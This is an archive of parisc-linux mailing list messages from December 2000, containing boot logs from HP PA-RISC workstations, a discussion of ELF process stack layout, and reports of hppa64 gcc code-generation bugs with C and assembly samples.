	ldo -56(%r29),%r26	! r26 = &b = r29 - 56
	ldo 128(%r30),%r30
	std %r4,-104(%r30)
	copy %r27,%r4
	std %r25,-56(%r29)
	ldo -16(%r30),%r29
	b,l f1,%r2
	std %r0,-120(%r30)
	ldo -16(%r30),%r29	! arg pointer set to current frame
	ldo -120(%r30),%r25
	cmpib,= 0,%r28,L$0005
	copy %r4,%r27
L$0004
	ldd -120(%r30),%r28
L$0006
	ldd -144(%r30),%r2
	ldd -104(%r30),%r4
	bve (%r2)
	ldo -128(%r30),%r30
L$0005
	ldo -64(%r29),%r29	! r29 = curr_r30 - 16 - 64
	b,l f2,%r2
	ldd 8(%r29),%r26	! try to load b from r29 - 56, but
				! gcc misses fact that r29 has changed
	b L$0006
	ldd -120(%r30),%r28
	.EXIT
	.PROCEND
[snip]

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteaut <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Les logs des deux machines
Date: Wed, 06 Dec 2000 10:35:32 +0100
Lines: 319
Approved: news@gmane.org
Message-ID: <3A2E0864.DA3BAE28@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------73AF70C852DBEB8621980FB6"
X-Trace: ger.gmane.org 1416619399 8149 80.91.229.3 (22 Nov 2014 01:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:19 +0000 (UTC)
To: Thierry Simonnet <t.simonnet@esiee.fr>,
        Puffin Group <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Wed Dec  6 02:29:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA09318
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 02:29:09 -0700
Original-Received: (qmail 13459 invoked by uid 15267); 6 Dec 2000 09:31:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13428 invoked from network); 6 Dec 2000 09:31:44 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 09:31:44 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id DF7F6D15AC; Wed,  6 Dec 2000 10:31:41 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8785

This is a multi-part message in MIME format.
--------------73AF70C852DBEB8621980FB6
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

A remarquer:
Il trouve bien les leds sur la B132
Il ne fait qu'une fois la sti
J'ai la liaison srie


Pour l'horloge de la 712, je me demande si la pile n'est pas  plat?




PS:Je les ai attach car tu n'es pas un fou du pine ou de elm
--------------73AF70C852DBEB8621980FB6
Content-Type: text/plain; charset=us-ascii;
 name="sti+frame"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="sti+frame"

The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d7000
start_parisc(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX console=tty root=/dev/sda3'
PALO initrd 0-0
model	00006010 00000481 00000000 00000000 7803b0d6 00000000 00000004 00000072 00000072
vers	0000000c
CPUID	vers 0 rev 0
model	9000/712
led_init: CPU_HVERSION 601
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Gecko 80 GSC Core Graphics (10) at 0xf8000000, versions 0x1c, 0x0, 0x85, 0x0, 0x0
2. Gecko 80 Core BA (11) at 0xf0100000, versions 0x1c, 0x0, 0x81, 0x0, 0x0
3. Gecko 80 Core SCSI (10) at 0xf0106000, versions 0x1c, 0x0, 0x82, 0x0, 0x0
4. Gecko 80 Core Lan (802.3) (10) at 0xf0107000, versions 0x1c, 0x0, 0x8a, 0x0, 0x0
5. Gecko 80 Core RS-232 (10) at 0xf0105000, versions 0x1c, 0x0, 0x8c, 0x0, 0x0
6. Gecko 80 Core Centronics (10) at 0xf0102000, versions 0x1c, 0x0, 0x74, 0x0, 0x0
7. Gecko 80 Audio (10) at 0xf0104000, versions 0x1c, 0x0, 0x7b, 0x0, 0x0
8. Gecko 80 Core PC Floppy (10) at 0xf010a000, versions 0x1c, 0x0, 0x83, 0x0, 0x0
9. Gecko 80 Core PC Keyboard (10) at 0xf0108000, versions 0x1c, 0x0, 0x84, 0x0, 0x0
10. Gecko 80 Core PC Keyboard (10) at 0xf0108100, versions 0x1c, 0x0, 0x84, 0x0, 0x0
11. Gecko 80 (712/80) (0) at 0xfffbe000, versions 0x601, 0x0, 0x4, 0x0, 0x81
12. Gecko 80 (1) at 0xfffbf000, versions 0x38, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz
Linux version 2.4.0-test10 (mklinux@pc5158a) (gcc version 2.96 20000925 (experimental)) #3 Wed Dec 6 09:49:48 CET 2000
free_bootmem(0x2d8000, 0x7d28000)
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX console=tty root=/dev/sda3
trap_init
Console: colour dummy device 80x25
Calibrating delay loop... 79.67 BogoMIPS
Memory: 125840k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.
LED display at 00000000
parport_init_chip: initialize bidirectional-mode.
Found i82596 at 0xf0107000, IRQ 87
early initialization of device eth0 is deferred
Initializing Lasi PS/2-keyboard port at 0xf0108000...
Support for Lasi PS/2-psaux not yet available !
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
searching for word mode STI ROMs
STI ROM from PDC at f0080000
found potential STI ROM at f0080000
STI word mode ROM at f0080000
STI word mode ROM type 3
 supports 13 monitors
 conforms to STI ROM spec revision 8.04
 graphics id 2b4ded6d40a00499
 font start 000037d4
 region list 000037c0
 init_graph 00000808
 alternate code type 0
f8000000 g
3 text planes
1280 x 1024 screen resolution
   0 x    0 offscreen
2048 x 1024 layout
regions at f0080000 f9000000 f8100000 f8380000
regions at f8000000 f8000000 f8204000 f8000000
reent_lvl 0
save_addr 07f96800
monitor 1
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 07f96c00
Switching from PDC console
Console: switching to mono frame buffer device 160x64
fb0: STI Generic frame buffer device
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
eth0: 82596 at 0xf0107000, 08 00 09 6D C1 EC IRQ 87.
82596.c $Revision: 1.14 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: HP        Model: C3725S            Rev: 4299
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST31230N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 3, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 4238836 512-byte hdwr sectors (2170 MB)
Partition check:
 sda: sda1 sda2 sda3
SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
 sdb: sdb1 sdb2 sdb3
searching for word mode STI ROMs
STI ROM from PDC at f0080000
found potential STI ROM at f0080000
STI word mode ROM at f0080000
STI word mode ROM type 3
 supports 13 monitors
 conforms to STI ROM spec revision 8.04
 graphics id 2b4ded6d40a00499
 font start 000037d4
 region list 000037c0
 init_graph 00000808
 alternate code type 0
f8000000 g
3 text planes
1280 x 1024 screen resolution
   0 x    0 offscreen
2048 x 1024 layout
regions at f0080000 f9000000 f8100000 f8380000
regions at f8000000 f8000000 f8204000 f8000000
reent_lvl 0
save_addr 07f3f400
monitor 1
in friendly mode: 0
power consumption 0 watts
freq ref 0
sti_mem_addr 07f3f800
Switching from PDC console
Console: switching to colour STI console 160x64
searching for byte mode STI ROMs
STI ROM from PDC at f0080000
found potential STI ROM at f0080000
STI word mode ROM at f0080000, ignored
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
IP-Config: Incomplete network configuration information.
eth0: link ok.
Trying to free nonexistent resource <f0107000-f010700b>
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kmem_create: Forcing size word alignment - nfs_fh
VFS: Mounted root (ext2 filesystem) readonly.
Unable to handle swap header version 16777216
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
Unable to handle swap header version 16777216
eth0: link ok.
NFS: NFSv3 not supported.
nfs warning: mount version older than kernel

--------------73AF70C852DBEB8621980FB6
Content-Type: text/plain; charset=us-ascii;
 name="sti+frame_B132"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="sti+frame_B132"

The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02d7000
start_parisc(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'HOME=/ TERM=LINUX console=tty root=/dev/sdb3'
PALO initrd 0-0
model	00005030 00000481 00000000 02020202 78094fbe 100000f0 00000004 000000ba 000000ba
vers	00000008
cpuid	000001e8
CPUID	vers 15 rev 8
model	9000/778/B132L+
led_init: CPU_HVERSION 503
led_init: chassis info: model 2, lcd_width=0, cmd_delay=40, ret0=8, ret1=8
LED display at f0190000
Searching for devices in PDC firmware... processor hpa 0xfffbe000
a newer box...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
2. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, versions 0x22, 0x0, 0x8c, 0x0, 0x0
3. Merlin L2+ 132 (9000/778/B132L) (0) at 0xfffbe000, versions 0x503, 0x0, 0x4, 0x0, 0x81
4. Merlin+ L2 132 (1) at 0xfffbf000, versions 0x61, 0x0, 0x9, 0x0, 0x0
5. Merlin+ 132 Core BA (11) at 0xffd00000, versions 0x3e, 0x0, 0x81, 0x0, 0x0
6. Merlin+ 132 Core RS-232 (10) at 0xffd05000, versions 0x3e, 0x0, 0x8c, 0x0, 0x0
7. Merlin+ 132 Core SCSI (10) at 0xffd06000, versions 0x3e, 0x0, 0x82, 0x0, 0x0
8. Merlin+ 132 Core Centronics (10) at 0xffd02000, versions 0x3e, 0x0, 0x74, 0x0, 0x0
9. Merlin+ 132 Core Audio (10) at 0xffd04000, versions 0x3e, 0x4, 0x7b, 0x0, 0x0
10. Merlin+ 132 Core PC Keyboard (10) at 0xffd08000, versions 0x3e, 0x0, 0x84, 0x0, 0x0
11. Merlin+ 132 Core PC Keyboard (10) at 0xffd08100, versions 0x3e, 0x0, 0x84, 0x0, 0x0
12. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
13. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0, 0x0
That's a total of 13 devices.
CPU(s): 1 x PA7300LC (PCX-L2) at 132.000000 MHz
Linux version 2.4.0-test10 (mklinux@pc5158a) (gcc version 2.96 20000925 (experimental)) #3 Wed Dec 6 09:49:48 CET 2000
free_bootmem(0x2d8000, 0x7d28000)
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX console=tty root=/dev/sdb3
trap_init
Console: colour dummy device 80x25
Calibrating delay loop... 87.86 BogoMIPS
Memory: 125840k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
parport_init_chip: initialize bidirectional-mode.
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
Dino version 3.1 (bridge mode) found at 0xfff80000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
searching for word mode STI ROMs
found potential STI ROM at f8000000
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
busdevice_alloc_irq(0xc02c1c68): No known LASI/ASP/WAX owns device at 0xfff83000 !
IRQ not found for serial device at 0xfff83000
Warning : device (10, 0x22, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new or similiar
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Linux Tulip driver version 0.9.10 (September 6, 2000)
eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:EB:BB:3D, IRQ 96.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)
sym53c8xx: 53c875 detected 
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
sym53c875-0: NCR clock is 40585KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf0ffe000
sym53c875-0: restart (scsi reset).
sym53c875-0: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.6b
  Vendor: SEAGATE   Model: ST34572WS         Rev: HP00
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c875-0-<6,0>: tagged command queue depth set to 8
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86
scsi1: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi1: Good, target data areas are dma coherent
scsi1: test 1 completed ok.
scsi1 : LASI/Simple 53c7xx
  Vendor: HP        Model: C3725S            Rev: 4299
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 6, lun 0
Detected scsi disk sdb at scsi1, channel 0, id 3, lun 0
sym53c875-0-<6,0>: wide msgout: 1-2-3-1.
sym53c875-0-<6,0>: wide msgin: 1-2-3-1.
sym53c875-0-<6,0>: wide: wide=1 chg=0.
sym53c875-0-<6,0>: wide msgout: 1-2-3-1.
sym53c875-0-<6,0>: wide msgin: 1-2-3-1.
sym53c875-0-<6,0>: wide: wide=1 chg=0.
sym53c875-0-<6,0>: sync msgout: 1-3-1-c-10.
sym53c875-0-<6,0>: sync msg in: 1-3-1-c-f.
sym53c875-0-<6,0>: sync: per=12 scntl3=0x90 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: unknown partition table
SCSI device sdb: 4238836 512-byte hdwr sectors (2170 MB)
 sdb: sdb1 sdb2 sdb3
searching for word mode STI ROMs
found potential STI ROM at f8000000
searching for byte mode STI ROMs
found potential STI ROM at f8000000
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
IP-Config: Incomplete network configuration information.
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kmem_create: Forcing size word alignment - nfs_fh
VFS: Mounted root (ext2 filesystem) readonly.
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
NFS: NFSv3 not supported.
nfs warning: mount version older than kernel

--------------73AF70C852DBEB8621980FB6--


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteaut <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sorry
Date: Wed, 06 Dec 2000 11:05:31 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <3A2E0F6B.F03B2BA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619399 8166 80.91.229.3 (22 Nov 2014 01:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:19 +0000 (UTC)
To: Puffin Group <parisc-linux@thepuffingroup.com>,
        ESIEE Puffin <puffin@esiee.fr>
Original-X-From: marteaut@esiee.fr  Wed Dec  6 02:59:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA09925
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 02:59:05 -0700
Original-Received: (qmail 4840 invoked by uid 15267); 6 Dec 2000 10:01:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4826 invoked from network); 6 Dec 2000 10:01:42 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 10:01:42 -0000
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 362EAD15B0; Wed,  6 Dec 2000 11:01:41 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8786

Hi all,

	I am sorry for the last message. It should have been an internal mail
(That's why it's in French). I am also sorry
for the attached files. Nevertheless, we are dealing with the new source
and we are looking at how do B132 and 712 boot.
So,

sti+frame shows the dmesg of 712 for our kernel that supports STI
console and framebuffer. That's why we have two searches for sti memory
space but they are different!
Helge, you can notice that now, on our 712, led DISPLAY is at
0x00000000! 

sti+frame_B132 shows the dmesg for the same kernel but with a B132+
workstation.

And the RTC does print Cannot access the Hardware Clock via any method
on both machines!

	Again, I am sincerely sorry for the message but I hope this one will
help...

Bye, Thomas
ESIEE Team


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stacks
Date: Wed, 6 Dec 2000 10:13:36 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <20001206101336.J12682@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619399 8170 80.91.229.3 (22 Nov 2014 01:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Wed Dec  6 03:11:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA10379
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 03:11:01 -0700
Original-Received: (qmail 14591 invoked by uid 15267); 6 Dec 2000 10:13:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14569 invoked from network); 6 Dec 2000 10:13:38 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 10:13:38 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 143bZw-0000PI-00
	for parisc-linux@thepuffingroup.com; Wed, 06 Dec 2000 10:13:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8787


i'm going to explain my thoughts on how the stacks work, (a) so someone
can point out how stupid i am and (b) so i can get it straight in my
own head.  i find explaining things to other people helps me understand.
you're my unpaid code-therapists :-)

we have bprm->p (see definition in <linux/binfmts.h>)

this is initialised to PAGE_SIZE * MAX_ARG_PAGES - sizeof (void *).
ie 32 pages less one pointer.

copy_strings() (exec.c) copies the strings involved from argv and envp
to some pages which it allocates on behalf of the user, starting at the
top and working down (oooh, directionalist asumptions....)

setup_arg_pages() (exec.c, called from binfmt_elf.c) adds the stack_base
(more on this later) to bprm->p and uses this address to map the pages
into the task's address space.

then create_elf_tables plonks a lot more stuff onto the stack (going
down, of course), including a pile of ELF entries, the envp pointers,
the argv pointers, and finally at the bottom envp, argv & argc.

finally, start_thread() is called, passing it a pointer to argc, which
happens to be just right for an x86 procedure call since it takes all
arguments on the stack.

why did this downwards-growing monstrosity ever work for us before?
because we set our stack_base to 0x2000'0000 so we started 32 pages from
that base and kept going down.  this was enough for everything except for
programs like procmail's configuration which tries to break it.  oops.
and we are wasting up to 128k on the stack.  double-oops.

our crt1.o depends on this layout now.  at least it depends on bits of it.
i can move some stuff around, like the strings, because they're only
referenced through the other pointers.

so how am i going to fix this mess?  i'm not sure.  the problem gets
uglier every time i stare at it.  i'm sure the solution involves macros
of some kind -- sp = place_on_stack(sp, addr, len).  but the strings
are then a pain...

i need to think about this some more.  and i need a machine to test this
on, which i can have tomorrow, hopefully.

P.S.  Thanks, you've really helped me come to terms with the stacks in
my life.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa64 gcc sizeof() bug?
Date: Wed, 6 Dec 2000 11:52:03 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <20001206115203.Q7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619399 8176 80.91.229.3 (22 Nov 2014 01:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Wed Dec  6 04:54:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA12427
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 04:54:16 -0700
Original-Received: (qmail 1542 invoked by uid 15267); 6 Dec 2000 11:56:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1534 invoked from network); 6 Dec 2000 11:56:49 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 11:56:49 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E8957B005; Wed,  6 Dec 2000 11:52:03 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8788

Hi Alan,
  The following shows the compiler getting confused over the size
of a struct.  This is with a gcc/binutils built since the last
fix you did for me.

Richard


[rhirst@rhirst play]$ cat tc.c


typedef unsigned int u32;
#define NULL ((void *)0)

struct kernel_sym32 {
        u32 value;
        char name[60];
};

extern int sys_get_kernel_syms(void *);
extern int thing(struct kernel_sym32 *table);

int sys32_get_kernel_syms(struct kernel_sym32 *table)
{
        int len, i;

        len = sizeof (struct kernel_sym32);
        for (i = 0; i < len; i++, table += sizeof (struct kernel_sym32)) {
                if (thing(table))
                        break;
        }
        return i;
}


[rhirst@rhirst play]$ hppa64-linux-gcc -S -o tc.s -O2 tc.c
[rhirst@rhirst play]$ cat tc.s


        .LEVEL 2.0w
gcc2_compiled.:
        .text
        .align 8
.globl sys32_get_kernel_syms
                .type            sys32_get_kernel_syms,@function
sys32_get_kernel_syms:
        .PROC
        .CALLINFO FRAME=128,CALLS,SAVE_RP,ENTRY_GR=6
        .ENTRY
        std %r2,-16(%r30)
        ldo 128(%r30),%r30
        std %r6,-128(%r30)
        ldi 64,%r6		<<< Good, struct is 64 bytes
        std %r5,-120(%r30)
        ldi 0,%r5
        std %r4,-112(%r30)
        copy %r27,%r4
        std %r3,-104(%r30)
        copy %r26,%r3
.L3:
        copy %r3,%r26
        ldo 4096(%r3),%r3	<<< BAD struct is not 4096 bytes!
        cmpb,<= %r6,%r5,.L4
        ldo -16(%r30),%r29
        b,l thing,%r2
        nop
        copy %r4,%r27
        cmpib,= 0,%r28,.L5
        ldo 1(%r5),%r19
.L4:
        copy %r5,%r28
        ldd -144(%r30),%r2
        ldd -120(%r30),%r5
        ldd -112(%r30),%r4
        ldd -104(%r30),%r3
        bve (%r2)
        ldd,mb -128(%r30),%r6
.L5:
        b .L3
        extrd,s %r19,63,32,%r5
        .EXIT
        .PROCEND
.Lfe1:
        .size   sys32_get_kernel_syms,.Lfe1-sys32_get_kernel_syms
        .ident  "GCC: (GNU) 2.96 20000925 (experimental)"
[rhirst@rhirst play]$ 


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64 gcc sizeof() bug?
Date: Wed, 6 Dec 2000 12:18:55 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20001206121855.S7166@linuxcare.com>
References: <20001206115203.Q7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619400 8177 80.91.229.3 (22 Nov 2014 01:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Wed Dec  6 05:21:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA12966
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 05:21:03 -0700
Original-Received: (qmail 25069 invoked by uid 15267); 6 Dec 2000 12:23:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25023 invoked from network); 6 Dec 2000 12:23:39 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 12:23:39 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 15AA8B005; Wed,  6 Dec 2000 12:18:55 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001206115203.Q7166@linuxcare.com>; from rhirst@linuxcare.com on Wed, Dec 06, 2000 at 11:52:03AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8789

On Wed, Dec 06, 2000 at 11:52:03AM +0000, Richard Hirst wrote:
> Hi Alan,
>   The following shows the compiler getting confused over the size
> of a struct.  This is with a gcc/binutils built since the last
> fix you did for me.
> 
> Richard
> 
> 
> [rhirst@rhirst play]$ cat tc.c
> 
> 
> typedef unsigned int u32;
> #define NULL ((void *)0)
> 
> struct kernel_sym32 {
>         u32 value;
>         char name[60];
> };
> 
> extern int sys_get_kernel_syms(void *);
> extern int thing(struct kernel_sym32 *table);
> 
> int sys32_get_kernel_syms(struct kernel_sym32 *table)
> {
>         int len, i;
> 
>         len = sizeof (struct kernel_sym32);
>         for (i = 0; i < len; i++, table += sizeof (struct kernel_sym32)) {
>                 if (thing(table))
>                         break;
